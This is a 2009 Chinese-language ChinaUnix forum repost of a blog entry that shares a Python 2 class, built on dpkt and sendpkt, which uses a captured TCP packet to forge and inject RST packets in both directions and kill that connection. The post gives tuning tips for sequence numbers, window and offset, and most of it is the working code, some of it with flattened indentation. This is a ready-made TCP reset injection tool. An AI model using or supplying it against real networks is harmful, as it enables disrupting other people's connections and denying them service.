免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3056 | 回复: 0
打印 上一主题 下一主题

不想上网的时候 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-12-22 22:02 |只看该作者 |倒序浏览
不想上网的时候 你可以py它

实现发送RST阻断连接的类 前提是要传进来一个"伪"数据报当傀儡~ 最简单的就是你要RST的那个连接的包
dpkt & sendpkt真是无敌了 省了很多工作 有时候python这个风情万种的小语言真是魅惑死人了
key: seq/off_x2/win要好好设
     ack=0 反正这样也行的通
     sum=0 校验和交给sendpkt就万事大吉了 心怀叵测的我自己写了遍checksum 结果没用上~
     对SYN/FIN/纯ACK最好都跳过
#!/bin/python
import dpkt,pcap,ctypes,sendpkt        #,socket,struct,time
class Send_rst:
    """send rst packt"""
    def __init__(self):
        self.pdata=''
        self.dev=''
    def send_rst_pkt(self):
        eth=dpkt.ethernet.Ethernet(self.pdata)
        ip=eth.data
        tcp=ip.data
   
        if tcp.flags & dpkt.tcp.TH_SYN or tcp.flags & dpkt.tcp.TH_FIN:
            return None
        else:
            if tcp.flags == dpkt.tcp.TH_ACK:
            return None
            else:
            recv_tcp=dpkt.tcp.TCP(
            sport=tcp.sport,
            dport=tcp.dport,
            seq=tcp.seq+len(tcp.data),
#            ack=tcp.ack,
            ack=0,
            off_x2=0x50,
            flags=dpkt.tcp.TH_RST,        #|dpkt.tcp.TH_ACK,
            win=tcp.win,                        #0,
            sum=0,
            urp=0)
            recv_ip=dpkt.ip.IP(
            v_hl=ip.v_hl,
            tos=ip.tos,        #0
            len=40,
        #    id=time.time()%65536,
            id=ip.id+1,
            off=0x4000,        #ip.off
            ttl=128,
            p=ip.p,
            sum=0,
            src=ip.src,
            dst=ip.dst,
            data=recv_tcp)
            recv_eth=dpkt.ethernet.Ethernet(
            dst=eth.dst,
            src=eth.src,
            type=eth.type,
            data=recv_ip)
            sendpkt.sendpacket(str(recv_eth),self.dev)
         
            tmp=ip.src
            ip.src=ip.dst
            ip.dst=tmp
            send_tcp=dpkt.tcp.TCP(
            sport=tcp.dport,
            dport=tcp.sport,
            seq=tcp.ack,
            ack=tcp.seq+len(tcp.data),
        #    ack=0,
        #    seq=0,
        #    ack=tcp.seq+1,
            off_x2=0x50,
            flags=dpkt.tcp.TH_RST,        #|dpkt.tcp.TH_ACK,
            win=tcp.win,        #0,
            sum=0,
            urp=0)
            send_ip=dpkt.ip.IP(
            v_hl=ip.v_hl,
            tos=ip.tos,        #0
            len=40,
        #    id=time.time()%65536,
            id=ip.id+1,
            off=0x4000,        #ip.off,
            ttl=128,
            p=ip.p,
            sum=0,
            src=ip.src,
            dst=ip.dst,
            data=send_tcp)
   
            send_eth=dpkt.ethernet.Ethernet(
            dst=eth.src,
            src=eth.dst,
            type=eth.type,
            data=send_ip)
            sendpkt.sendpacket(str(send_eth),self.dev)
            print 'send over~'
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/86783/showart_2128375.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP